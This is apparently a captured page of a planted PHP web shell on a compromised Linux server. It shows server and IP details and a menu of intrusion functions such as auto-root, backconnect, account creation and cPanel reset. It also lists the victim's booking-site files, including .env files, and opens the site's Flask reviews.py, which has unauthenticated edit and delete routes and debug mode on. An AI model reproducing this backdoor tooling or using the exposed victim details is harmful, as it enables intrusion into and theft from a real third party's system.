Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 52.15.253.72
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py-maracar.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
email-template
[ DIR ]
drwxr-xr-x
logs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
.env
380
B
-rwxr-xr-x
.htaccess
459
B
-rwxr-xr-x
Booking.py
10.46
KB
-rwxr-xr-x
Booking_env_3.py
12.6
KB
-rwxr-xr-x
api_env_2_routes.py
2.92
KB
-rwxr-xr-x
api_env_3_routes.py
9.31
KB
-rwxr-xr-x
booking_delete.py
2.6
KB
-rwxr-xr-x
booking_delete_env_3.py
2.65
KB
-rwxr-xr-x
bookingdetail.py
16.94
KB
-rwxr-xr-x
bookingdetail_env_3.py
23.36
KB
-rwxr-xr-x
branch_env_3.py
6.16
KB
-rwxr-xr-x
change_password.py
2.09
KB
-rwxr-xr-x
check.py
4.36
KB
-rwxr-xr-x
check_env_2.py
3.82
KB
-rwxr-xr-x
check_env_3.py
3.82
KB
-rwxr-xr-x
check_tel.py
4.37
KB
-rwxr-xr-x
checkout.py
2.01
KB
-rwxr-xr-x
config.py
547
B
-rwxr-xr-x
connec_data.py
2.18
KB
-rwxr-xr-x
createkeysecret.py
304
B
-rwxr-xr-x
database.py
1.49
KB
-rwxr-xr-x
decorator.py
3.57
KB
-rwxr-xr-x
forgot.py
2.34
KB
-rwxr-xr-x
gen_uuid.py
4.17
KB
-rwxr-xr-x
image_conn_data.py
1.79
KB
-rwxr-xr-x
image_conn_data3.py
2.02
KB
-rwxr-xr-x
image_urls.py
7.49
KB
-rwxr-xr-x
image_urls_env_3.py
7.71
KB
-rwxr-xr-x
index.html
7.81
KB
-rwxr-xr-x
jangwat_thai.py
8.06
KB
-rwxr-xr-x
maracar.py
14.46
KB
-rwxr-xr-x
maracar.wsgi
379
B
-rwxr-xr-x
maracar_test.py
114
B
-rwxr-xr-x
matching_user_env_2.py
13.19
KB
-rwxr-xr-x
order_send_email_env_3.py
6.6
KB
-rwxr-xr-x
order_send_email_smtpgo.py
7.85
KB
-rw-r--r--
payments.py
9.07
KB
-rwxr-xr-x
payments_env_3.py
12.6
KB
-rwxr-xr-x
payments_payzen.py
14.1
KB
-rwxr-xr-x
payments_test_env_3.py
4.62
KB
-rwxr-xr-x
plot_cpu_usage.py
1.42
KB
-rwxr-xr-x
position_set.py
1.51
KB
-rwxr-xr-x
positions_list.py
987
B
-rwxr-xr-x
price_create.py
13.63
KB
-rwxr-xr-x
price_create3.py
21.56
KB
-rwxr-xr-x
promotion_items.py
4.9
KB
-rwxr-xr-x
promotions.py
8.44
KB
-rwxr-xr-x
queues.py
8.58
KB
-rwxr-xr-x
queues_env_3.py
11.28
KB
-rwxr-xr-x
register.py
5.11
KB
-rwxr-xr-x
register_edit.py
3
KB
-rwxr-xr-x
register_edit_env_2.py
3.14
KB
-rwxr-xr-x
register_edit_env_3.py
3.71
KB
-rwxr-xr-x
register_env_2.py
5.19
KB
-rwxr-xr-x
register_env_3.py
4.44
KB
-rwxr-xr-x
report_bookingoverview.py
9.86
KB
-rwxr-xr-x
report_bookingoverview_env_3.p...
12.93
KB
-rwxr-xr-x
requirements.txt
457
B
-rwxr-xr-x
reviews.py
9.42
KB
-rwxr-xr-x
reviews_env_3.py
12.91
KB
-rwxr-xr-x
service.py
5.87
KB
-rwxr-xr-x
service3.py
7.87
KB
-rwxr-xr-x
sms_octopush.py
1.71
KB
-rwxr-xr-x
sms_thsms3.py
2.09
KB
-rwxr-xr-x
specificinsert_env_2.py
3.63
KB
-rwxr-xr-x
status_list.py
960
B
-rwxr-xr-x
types_create.py
4.6
KB
-rwxr-xr-x
types_create3.py
8.91
KB
-rwxr-xr-x
update_status.py
2.52
KB
-rwxr-xr-x
user.py
4.02
KB
-rwxr-xr-x
user3.py
4.78
KB
-rwxr-xr-x
user_all.py
3.88
KB
-rwxr-xr-x
user_all_env_2.py
5.81
KB
-rwxr-xr-x
user_all_env_3.py
8.44
KB
-rwxr-xr-x
user_all_mlm.py
9.18
KB
-rwxr-xr-x
user_all_mlm_env_2.py
9.26
KB
-rwxr-xr-x
user_env_2.py
4.1
KB
-rwxr-xr-x
user_mlm.py
10.47
KB
-rwxr-xr-x
user_mlm_env_2.py
10.49
KB
-rwxr-xr-x
user_mlm_env_3.py
18.45
KB
-rw-r--r--
user_routes.py
1.28
KB
-rwxr-xr-x
website1.env
12
B
-rwxr-xr-x
website2.env
12
B
-rwxr-xr-x
website3.env
12
B
-rwxr-xr-x
website4.env
12
B
-rwxr-xr-x
website5.env
12
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : reviews.py
# /var/www/website2024/py-maracar.afaa.website/reviews.py #python3 reviews.py import logging from logging.handlers import RotatingFileHandler import os from flask import Flask, request, jsonify from flask_cors import CORS from database import modify_db, query_db from config import SECRET_KEY from decorator import token_required from datetime import datetime # ตั้งค่า logging log_dir = '/var/log/python' if not os.path.exists(log_dir): os.makedirs(log_dir) file_handler = RotatingFileHandler(os.path.join(log_dir, 'flask_app.log'), maxBytes=100000, backupCount=10) file_handler.setFormatter(logging.Formatter('%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')) file_handler.setLevel(logging.INFO) app = Flask(__name__) app.config['SECRET_KEY'] = SECRET_KEY CORS(app, resources={r"/*": {"origins": "*"}}) app.logger.addHandler(file_handler) app.logger.setLevel(logging.INFO) @app.route('/reviews/api/create', methods=['POST']) def create_review(): try: reviews_data = request.json # Expecting a list of review data # Check if reviews_data is a list if not isinstance(reviews_data, list): return jsonify({'error': 'Expected a list of review data'}), 400 # Loop through each review data in the list for review_data in reviews_data: user_id = review_data.get('user_id') table_data = review_data.get('table_data') review_typeID = review_data.get('review_typeID') # Extracting the new field rating = review_data.get('rating') comment = review_data.get('comment', '') updated_at = review_data.get('updated_at', None) ip = review_data.get('IP', '') status = review_data.get('status', 1) # Assuming default status is 1 query = """ INSERT INTO reviews ( user_id, table_data, review_typeID, rating, comment, created_at, updated_at, IP, status ) VALUES (%s, %s, %s, %s, %s, CURRENT_TIMESTAMP, %s, %s, %s) """ modify_db(query, (user_id, table_data, review_typeID, rating, comment, updated_at, ip, status)) return jsonify({'message': 'Reviews created successfully'}), 201 except Exception as e: logging.error(f"Error creating reviews: {e}") return jsonify({'error': 'Internal server error'}), 500 @app.route('/reviews/api/view', methods=['GET']) def view_reviews(): try: review_id = request.args.get('review_id') user_id = request.args.get('user_id') table_data = request.args.get('table_data') review_typeID = request.args.get('review_typeID') rating = request.args.get('rating') created_at_start = request.args.get('created_at_start') created_at_end = request.args.get('created_at_end') updated_at_start = request.args.get('updated_at_start') updated_at_end = request.args.get('updated_at_end') ip = request.args.get('IP') status = request.args.get('status') query = "SELECT * FROM reviews" conditions = [] values = [] if review_id: conditions.append("review_id = %s") values.append(review_id) if user_id: conditions.append("user_id = %s") values.append(user_id) if table_data: conditions.append("table_data = %s") values.append(table_data) if review_typeID: conditions.append("review_typeID = %s") values.append(review_typeID) if rating: conditions.append("rating = %s") values.append(rating) if created_at_start and created_at_end: conditions.append("created_at BETWEEN %s AND %s") values.extend([created_at_start, created_at_end]) if updated_at_start and updated_at_end: conditions.append("updated_at BETWEEN %s AND %s") values.extend([updated_at_start, updated_at_end]) if ip: conditions.append("IP = %s") values.append(ip) if status: conditions.append("status = %s") values.append(status) if conditions: query += " WHERE " + " AND ".join(conditions) reviews = query_db(query, tuple(values)) return jsonify(reviews), 200 except Exception as e: logging.error(f"Error viewing reviews: {e}") return jsonify({'error': 'Internal server error'}), 500 @app.route('/reviews/api/edit', methods=['PUT']) def edit_review(): try: reviews_data = request.json # รับข้อมูลรีวิวเป็น list # Loop ผ่านแต่ละรายการข้อมูลรีวิว for review_data in reviews_data: review_id = review_data.get('review_id') user_id = review_data.get('user_id') table_data = review_data.get('table_data') review_typeID = review_data.get('review_typeID') rating = review_data.get('rating') comment = review_data.get('comment') ip = review_data.get('IP') status = review_data.get('status') update_data = [] query_params = [] # เพิ่มข้อมูลที่จะอัพเดตลงใน query if user_id is not None: update_data.append("user_id = %s") query_params.append(user_id) if table_data is not None: update_data.append("table_data = %s") query_params.append(table_data) if review_typeID is not None: update_data.append("review_typeID = %s") query_params.append(review_typeID) if rating is not None: update_data.append("rating = %s") query_params.append(rating) if comment is not None: update_data.append("comment = %s") query_params.append(comment) if ip is not None: update_data.append("IP = %s") query_params.append(ip) if status is not None: update_data.append("status = %s") query_params.append(status) query_params.append(review_id) update_statement = ', '.join(update_data) query = f"UPDATE reviews SET {update_statement}, updated_at = CURRENT_TIMESTAMP WHERE review_id = %s" modify_db(query, query_params) return jsonify({'message': 'Review has been successfully updated.'}), 200 except Exception as e: logging.error(f"There was an error updating the review.: {e}") return jsonify({'error': 'An error occurred within the system.'}), 500 @app.route('/reviews/api/delete', methods=['DELETE']) def delete_review(): try: # รับรายการ ID ของรีวิวที่ต้องการลบ review_ids = request.json.get('review_ids', []) # ตรวจสอบว่าเป็นรายการของตัวเลขหรือไม่ if not all(isinstance(id, int) for id in review_ids): return jsonify({'error': 'All review IDs must be integers'}), 400 # ลบรีวิวตาม ID ที่ได้รับ if review_ids: query = "DELETE FROM reviews WHERE review_id IN (%s)" % ','.join(['%s'] * len(review_ids)) modify_db(query, tuple(review_ids)) return jsonify({'message': 'Reviews deleted successfully'}), 200 else: return jsonify({'message': 'No reviews to delete'}), 400 except Exception as e: logging.error(f"Error deleting reviews: {e}") return jsonify({'error': 'Internal server error'}), 500 @app.route('/price/api/view', methods=['GET']) @token_required def view_prices(): try: price_id = request.args.get('PriceID') price_value = request.args.get('PriceValue') status = request.args.get('status') tabledata_id = request.args.get('TableData_ID') priceconn_dataid = request.args.get('priceConn_dataID') currency = request.args.get('currency') query = "SELECT `PriceID`, `PriceType`, `PriceValue`, `status`, `details`, `TableData_ID`, `priceConn_dataID`, `currency`, `symbol` FROM `price_details`" conditions = [] values = [] if price_id: conditions.append("PriceID = %s") values.append(price_id) if price_value: conditions.append("PriceValue = %s") values.append(price_value) if status: conditions.append("status = %s") values.append(status) if tabledata_id: conditions.append("TableData_ID = %s") values.append(tabledata_id) if priceconn_dataid: conditions.append("priceConn_dataID = %s") values.append(priceconn_dataid) if currency: conditions.append("currency = %s") values.append(currency) if conditions: query += " WHERE " + " AND ".join(conditions) # Print the final query and values print("SQL Query:", query) print("Values:", values) prices = query_db(query, tuple(values)) return jsonify(prices), 200 except Exception as e: return jsonify({'error': f'Internal server error: {str(e)}'}), 500 if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=427)
Close